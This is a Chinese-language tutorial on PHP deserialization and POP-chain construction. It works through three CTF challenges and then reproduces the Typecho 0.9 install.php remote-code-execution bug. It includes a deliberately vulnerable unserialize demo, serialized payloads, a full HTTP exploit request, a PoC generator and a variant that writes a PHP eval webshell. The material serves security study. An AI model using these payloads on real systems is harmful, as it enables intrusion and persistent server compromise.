前言
记得在去年写了php反序列化漏洞,今年想把代码审计捡起来的时候,发现php反序列化有些内容忘记了,且不熟悉POP链。这次再由浅入深的学习一下。
POP简介
首先认识一下什么是POP?POP面向属性编程。指从现有运行环境中寻找一系列的代码或指令调用,然后根据需求构造出一组连续的调用链。
其实就是构造一条和原代码需求一样的链条,去找到被控制的属性或方法,从而构造POP链达到攻击的目的。
知识点回顾
我们先来举个例子(代码来自 https://v0w.top/2020/03/05/unsearise-POP/),回顾php里的魔术方法。
<?php
class A{
private $name = "cseroad";
function __construct()
{
echo "__construct() call\n";
}
function __destruct()
{
echo "\n__destruct() call\n";
}
function __toString()
{
return "__toString() call\n";
}
function __sleep()
{
echo "__sleep() call\n";
return array("name");
}
function __wakeup()
{
echo "__wakeup() call\n";
}
function __get($a)
{
echo "__get() call\n";
return $this->name;
}
function __set($property, $value)
{ echo "\n__set() call\n";
$this->$property = $value;
}
function __invoke()
{
echo "__invoke() call\n";
}
}
//调用 __construct()
$a = new A();
//调用 __toSting()
echo $a;
//调用 __sleep()
$b = serialize($a);
echo $b;
//调用 __wakeup()
$c = unserialize($b);
echo $c;
//不存在这个bbbb属性,调用 __get()
echo $a->bbbb;
//name是私有变量,不允许修改,调用 __set()
$a->name = "pro";
echo $a->name;
//将对象作为函数,调用 __invoke()
$a();
//程序结束,调用 __destruct() (会调用两次__destruct,因为中间有一次反序列化)
将以上代码反复调试几次,有助于自己的理解。
以下便是经常使用到的魔术方法:
__construct() //当对象创建时触发
__destruct() //当对象销毁时触发
__wakeup() //当使用unserialize时触发
__sleep() //当使用serialize时触发
__destruct() //当对象被销毁时触发
__call() //当对象上下文中调用不可访问的方法时触发
__get() //当访问不可访问或不存在的属性时触发
__set() //当设置不可访问或不存在属性时触发
__toString() //当把类当作字符串使用时触发
__invoke() //当对象调用为函数时触发
我们先手动编写一个webshell的例子,踩一踩反序列化的坑。
<?php
class A{
private $name;
public function __construct(){
echo "对象创建调用<br>";
}
public function __destruct(){
echo($this->name);
//eval($this->name);
}
}
/*
$exp = new A();
$val = serialize($exp);
var_dump($val);
*/
// "O:1:"A":1:{s:7:"Aname";N;}"
$a = unserialize($_GET['a']);
?>
反序列时需要注意私有的、被保护的属性被序列化的时候属性值会变成%00*%00属性名。
所以在构造a参数值的时候,注意序列化后的结构。
这个错误表示反序列的字符串有错误。
a=O:1:%22A%22:1:{s:7:%22%00A%00name%22;s:7:%221234567%22;}
类名两侧添加%00,并校验字符串的长度值,结果才正常。
image.png将源代码echo修改为eval。
传入的参数a值顺利的变为
a=O:1:%22A%22:1:{s:7:%22%00A%00name%22;s:19:%22system(%27ipconfig%27);%22;}
image.png
可正常执行系统命令。
CTF 实例
题目一
<?php
error_reporting(0);
class home
{
private $method;
private $args; //私有类型定义两个变量
function __construct($method, $args)
{
$this->method = $method;
$this->args = $args;
}
function __destruct()
{
if (in_array($this->method, array("mysys"))) { //当method为mysys时
call_user_func_array(array($this, $this->method), $this->args);
} //调用mysys函数,并把args作为mysys的数组参数回调
}
function mysys($path)
{
print_r(base64_encode(exec("cat $path")));
}//把结果base64编码打印
function waf($str)
{
if (strlen($str) > 8) {
die("No");
}//限制字符串长度
return $str;
}
function __wakeup()
{
$this->method = "waf";
die("No");
$num = 0;
foreach ($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
$num += 1;//遍历出$k和$v然后计算$v里的空格,大于2则die
if ($num > 2) {
die("No");
}
}
}
}
if ($_GET['path']) {//如果传入path反序列化path
$path = @$_GET['path'];
unserialize($path);
} else {
highlight_file(__FILE__);
}
题目分析
在反序列函数unserialize时,首先会检查是否存在__wakeup()
的魔术方法。该方法会直接替换method
的值为waf,并同时调用waf函数。而当对象销毁时调用__destruct()
魔术方法才会调用mysys()
函数并接收$path
参数,并将结果输出。
也就是说想输出flag值,必须得将method
参数值设为mysys,将args
设为数组。但是这就和___wakeup()
的魔术方法里重新赋值为waf
有了矛盾。这时候就可以利用CVE-2016-7124漏洞。即:当序列化字符串表示对象属性个数的值大于真实个数的属性时可跳过__wakeup()
魔术方法。
POP 链构造
这样最简单的POP链就有了
<?php
class home
{
private $method = 'mysys';
private $args = array('flag.txt');
}
$a = new home("mysys",array("flag.txt"));
$b = serialize($a);
echo $b."<br/>";
$b = str_replace(":2:", "3:", $b);
echo $b;
?>
当未跳过__wakeup()
函数时
当跳过__wakeup()
函数时
path=O:4:%22home%22:3:{s:12:%22%00home%00method%22;s:5:%22mysys%22;s:10:%22%00home%00args%22;a:1:{i:0;s:8:%22flag.txt%22;}}
image.png
我们可以从这个题目中就可以总结出利用php的反序列化漏洞一般需要两个条件:
- unserialize()函数参数可控
- 找到可控的魔法方法和属性。
当发现想要利用的危险函数或可控属性并不在存在有魔法方法的类中,就需要强制构造POP链,让没有关系的类可以扯上关系。
题目二
<?php
//flag is in flag.php
error_reporting(0);
class oops {
protected $oop;
function __construct() {
$this->oop = new a();
}
function __destruct() {
$this->oop->action();
}
}
class a {
function action() {
echo "Hello World!";
}
}
class b {
private $file;
private $token;
function action() {
if ((ord($this->token)>47)&(ord($this->token)<58)) {
echo "token can't be a number!";
return ;
}
if ($this->token==0){
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
include($this->file);
echo $flag;
}
}else{
echo "Oops...";
}
}
}
class c {
private $cmd;
private $token;
function execcmd(){
if ((ord($this->token)>47)&(ord($this->token)<58)) {
echo "token can't be a number!";
return ;
}
if ($this->token==0){
if (!empty($this->cmd)){
system($this->cmd);
}
}else{
echo "Oops...";
}
}
}
if (isset($_GET['a']) and isset($_GET['b'])) {
$a=$_GET['a'];
$b=$_GET['b'];
if (stripos($a,'.')) {
echo "You can't input '.' !";
return ;
}
$data = @file_get_contents($a,'r');
if ($data=="HelloWorld!" and strlen($b)>5 and eregi("666".substr($b,0,1),"6668") and substr($b,0,1)!=8){
if (isset($_GET['c'])){
echo "get c 2333......<br>";
unserialize($_GET['c']);
} else {
echo "cccccc......";
}
} else {
echo "Oh no......";
}
} else {
show_source(__FILE__);
}
?>
题目分析
首先GET请求接收变量a和变量b。
- 对于参数a,不能存在
.
,获取参数a的内容还必须是HelloWorld!。
可以使用php://input 伪协议绕过 - 对于参数b,长度超过5,第一个字符必须匹配6668,且第一位字符不能是8。
可以使用%00截断,剩下字符拼够5个以上绕过 - 再重点看一下读取flag的b类,判断token值的ASCII码是否在47到58之间,是否为0。
可以使用'a'=0的方式绕过
POP 链构造
既然读取flag的类在b中,那就实例化该类。
class b{
private $file = "flag.php";
private $token = "a";
}
$b = new b();
但是当序列化该类的时候,它还是会首先执行a类,这是因为__construct()
魔术函数首先将a实例化。所以我们要手动的实例化b类。
class oops {
protected $oop;
function __construct() {
$this->oop = new b();
}
function __destruct() {
$this->oop->action();
}
}
于是完整的poc就有了。
<?php
class oops {
protected $oop;
function __construct() {
$this->oop = new b();
}
function __destruct() {
$this->oop->action();
}
}
class b{
private $file = "flag.php";
private $token = "a";
}
$oops = new oops();
var_dump(urlencode(serialize($oops)));
?>
注意在序列化private和protect属性的时候进行url编码。
构造完整的数据包发送请求。
a=php://input&b=%0011111&c=O:4:"oops":1:{s:6:"%00*%00oop";O:1:"b":2:{s:7:"%00b%00file";s:8:"flag.php";s:8:"%00b%00token";s:1:"a";}}
image.png
题目三
<?php
//flag is in flag.php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
//var_dump($this->str['str']);
return $this->str['str']->source;
//这个值不存在source这个变量,然后调用__get()魔术方法
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
//var_dump($function);
return $function();
//当做函数返回,进入__invoke()方法
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
题目分析
从unserialize反序列化开始,首先会调用__wakeup()
魔术方法,先进行preg_match的正则匹配,匹配字符串为Show类去访问source属性值。如果将source属性值设为Show类,就可以触发__toString
魔术方法,找到str这个数组的str值赋值给source,如果这个值里面不存在source属性时就会触发__get
魔术方法,该方法里面直接把$function当做函数执行,这时候就会触发__invoke()
魔术方法,该方法调用file_get函数用来读取文件内容,那这里只需要传入要读取的文件名flag.php即可。
梳理一下反序列化的链条:
unserialize函数反序列化-->__wakeup()
魔术方法-->__tostring()
魔术方法-->__get()魔术方法
-->__invoke()魔术方法
-->file_get()方法
-->file_get_contents()
方法读取flag.php
POP 链构造
先实例化这三个对象
<?php
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Read{
public $var = "flag.txt";
}
$show = new Show();
$test = new Test();
$read = new Read();
再将该过程反过来,依次写出魔术方法里访问的属性。将$this变为当前的类名即可。
$test -> p
$show -> str['str']
$show -> source
最后疏通几个关键点,如将souce属性赋值为Show类才会触发__toString()
魔术方法,
依据套娃合并代码POC为:
<?php
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Read{
public $var = "flag.txt";
}
$show = new Show();
$test = new Test();
$read = new Read();
$test -> p = $read;
$show -> str['str'] = $test;
$show -> source = $show;
var_dump(serialize($show));
?>
可正常读取flag值
image.png查看将poc反序列化的结果为
image.pngTypecho 反序列化分析
漏洞复现
安装好的Typecho 0.9 版本。
image.png使用poc进行测试。
POST /typecho/install.php?finish=1 HTTP/1.1
Host: 10.211.55.31
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: bdshare_firstime=1629255297080
Upgrade-Insecure-Requests: 1
Referer: http://10.211.55.31/typecho/
Content-Type: application/x-www-form-urlencoded
Content-Length: 628
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6NTp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MzI6ImV2YWwoJ3N5c3RlbShcJ3dob2FtaVwnKTtleGl0OycpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fXM6MjI6IgBUeXBlY2hvX0ZlZWQAX3ZlcnNpb24iO047czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIyOiIAVHlwZWNob19GZWVkAF9jaGFyc2V0IjtzOjU6IlVURi04IjtzOjE5OiIAVHlwZWNob19GZWVkAF9sYW5nIjtzOjI6ImVuIjt9czo2OiJwcmVmaXgiO3M6ODoiX3R5cGVjaG8iO30
image.png
漏洞分析
在typecho/install.php 文件里246行存在unserialize反序列化函数,反序列化了一个base64解码后Typecho_Cookie类里get方法里__typecho_config值。
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
跟进Typecho_Cookie类里的get方法,该文件在typecho/var/Typecho/Cookie.php
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return $value;
}
该方法通过cookie或者post的方式接收一个key值,即__typecho_config。到这里就找到了传入的变量位置。
回到typecho/install.php 文件,继续向下看251行
$installDb = new Typecho_Db($config['adapter'], $config['prefix']);
传入的config参数并实例化Typecho_Db该类。
在typecho/var/Typecho/db.php跟进该类,定义了一些常量、私有属性、公共方法等。在构造方法中__construct()
魔术方法中传入的adapterName值来获取适配器名称。
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
再往下127行数据库适配器中,$adapterName有一个拼接的行为。
/** 数据库适配器 */
require_once 'Typecho/Db/Adapter/' . str_replace('_', '/', $adapterName) . '.php';
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
那这里如果传入的$adapterName是一个类,那类当做字符串就会调用__toString()
魔术方法。全局搜索该方法。
在这三个文件里均存在__toString()
魔术方法。
- Config.php是去序列化了一个私有数组。
public function __toString()
{
return serialize($this->_currentConfig);
}
- Query.php是一个数据库的操作。
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
- Feed.php是一个遍历_items的操作。
可以在文件头看到_items可控,是被声明的私有属性值,在第290行$item['author']
去访问screenName属性。
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
但是并不存在该属性,那就会调用__get
魔术方法。全局搜索__get()
魔术方法。
当跟进到typecho/var/Typecho/Request.php文件时
public function __get($key)
{
return $this->get($key);
}
会调用一个get()方法,_params
也是声明的私有属性数组,同样可控。
public function get($key, $default = NULL)
{
$value = $default;
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset($_GET[$key]):
$value = $_GET[$key];
break;
case isset($_POST[$key]):
$value = $_POST[$key];
break;
case isset($_COOKIE[$key]):
$value = $_COOKIE[$key];
break;
default:
$value = $default;
break;
}
$value = is_array($value) || strlen($value) > 0 ? $value : $default;
return $this->_filter ? $this->_applyFilter($value) : $value;
}
又会调用_applyFilter方法。_filter
也是声明的私有属性数组,同样可控。
private function _applyFilter($value)
{
//var_dump($value);
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
}
$this->_filter = array();
return $value;
}
看到了熟悉的call_user_func函数,第一个参数作为函数名字,第二个参数作为输入函数。可利用该函数执行命令。
到这个位置一条调用链就完成了。如果属性再可控,那就有可能构造出一条POP链。
寻找调用链涉及到的可控属性。
POP 链构造
我们回顾上面的过程,在Typecho_Request 类里,最终由call_user_func()
函数调用的_filter
和_params
均可控。
所以POC一部分必有
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_filter[0] = 'assert';
$this->_params['screenName'] = 'phpinfo()';
}
}
这里一定要注意在写poc的时候记得重写构造方法
我们现在找到了这两个可控的参数,再往回倒来到Feed.php 文件遍历_items的位置。在上面说过不存在screenName属性时,所以才会调用_get()
魔术方法,而$key
也赋值给了_params
数组,也就是screenName。
按着这个逻辑完成部分poc。
class Typecho_Feed{
private $_items = array();
function __construct(){
$item['author'] = new Typecho_Request();
$this->_items[0] = $item;
}
}
再查看Typecho_Feed类的构造方法,将缺失属性的补齐。
class Typecho_Feed{
private $_items = array();
const RSS2 = 'RSS 2.0';
private $_version;
private $_type;
private $_charset;
private $_lang;
public function __construct($version = '1', $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
$item['author'] = new Typecho_Request();
$this->_items[0] = $item;
}
}
继续向上就到了入口的位置,实例化Typecho_Db类,传入了$config['adapter']
、$config['prefix']
,对应的序列化时就要传入一个数组,分别和adapter、prefix与之对应。在构造方法时,$adapterName
会去拼接字符串继而调用__toString()
方法后续操作,$prefix
形参为typecho_
所以这部分poc为:
$arr = array("adapter"=> $a,"prefix"=>"_typecho");
$poc = base64_encode(serialize($arr));
echo $poc;
将以上的poc组合在一起吗,就是__typecho_config 部分的poc。
<?php
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_filter[0] = 'assert';
$this->_params['screenName'] = 'phpinfo();")';
}
}
class Typecho_Feed{
private $_items = array();
const RSS2 = 'RSS 2.0';
private $_version;
private $_type;
private $_charset;
private $_lang;
public function __construct($version = '1', $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
$item['author'] = new Typecho_Request();
$this->_items[0] = $item;
}
}
$a = new Typecho_Feed();
$arr = array("adapter"=> $a,"prefix"=>"_typecho");
$poc = serialize($arr);
//echo $poc;
echo urlencode(base64_encode(serialize($arr)));
?>
回到install.php文件中,触发反序列化还需要有两个条件。
- Referer为本站链接
- 请求的finish必须有值
这样在把这两个条件加上。就是完整的poc了。
image.png但生成的poc打过去是"Database Server Error"。这是因为在install.php开启了ob_start。该函数打开了输出控制缓冲,代码触发了原本的exception,导致ob_end_clean执行,原本的输出会在缓冲区被清理。
这里可以将exp改为执行系统命令后exit或者将webshell写入文件。
故exp为
$this -> _params['screenName'] = "eval('system(\'whoami\');exit;')";
$this -> _params['screenName'] = 'file_put_contents("shell.php", "<?php @eval(\$_POST[x]); ?>")';
这样即使服务器500,也可以正常写入文件。
image.png漏洞总结
先梳理一下反序列化的整个过程。
image.png可以看到关键位置就是__toString()
魔术方法、__get()
魔术方法。
-
__toString()
魔术方法
在调用__construct()
魔术方法进行初始化时,当对象作为字符串的时候,程序会自动调用__toString()
魔术方法。所以这里一个字符串拼接就可以利用起来。
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
-
__get()
魔术方法
当对象调用类中为私有变量或不存在时,将会自动触发该方法,通过__get()
魔术方法取出数据。
也就是访问screenName属性时,想办法触发Request.php文件的__get()
魔术方法。screenName顺理赋值给了__get()
魔术方法里的$key
。
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
public function __get($key)
{
return $this->get($key);
}
总结
回顾了php反序列化的一些知识点,练了三道关于POP链构造的题目,最后详细分析了typecho反序列化的漏洞和POP链的构造。也有了自己的理解,POP链最主要的就是将存在魔术方法的类相互扯上关系,再因为魔术方法引起的恶意函数被我们控制,就可以实现我们想要的效果。
参考资料
https://v0w.top/2020/03/05/unsearise-POP/#1-2-php%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
https://www.mi1k7ea.com/2019/05/04/PHP%E5%AF%B9%E8%B1%A1%E6%B3%A8%E5%85%A5%E4%B9%8Bpop%E9%93%BE%E6%9E%84%E9%80%A0/
https://lanvnal.com/2020/03/15/typecho-fan-xu-lie-hua-lou-dong-fen-xi/
https://www.anquanke.com/post/id/155306
网友评论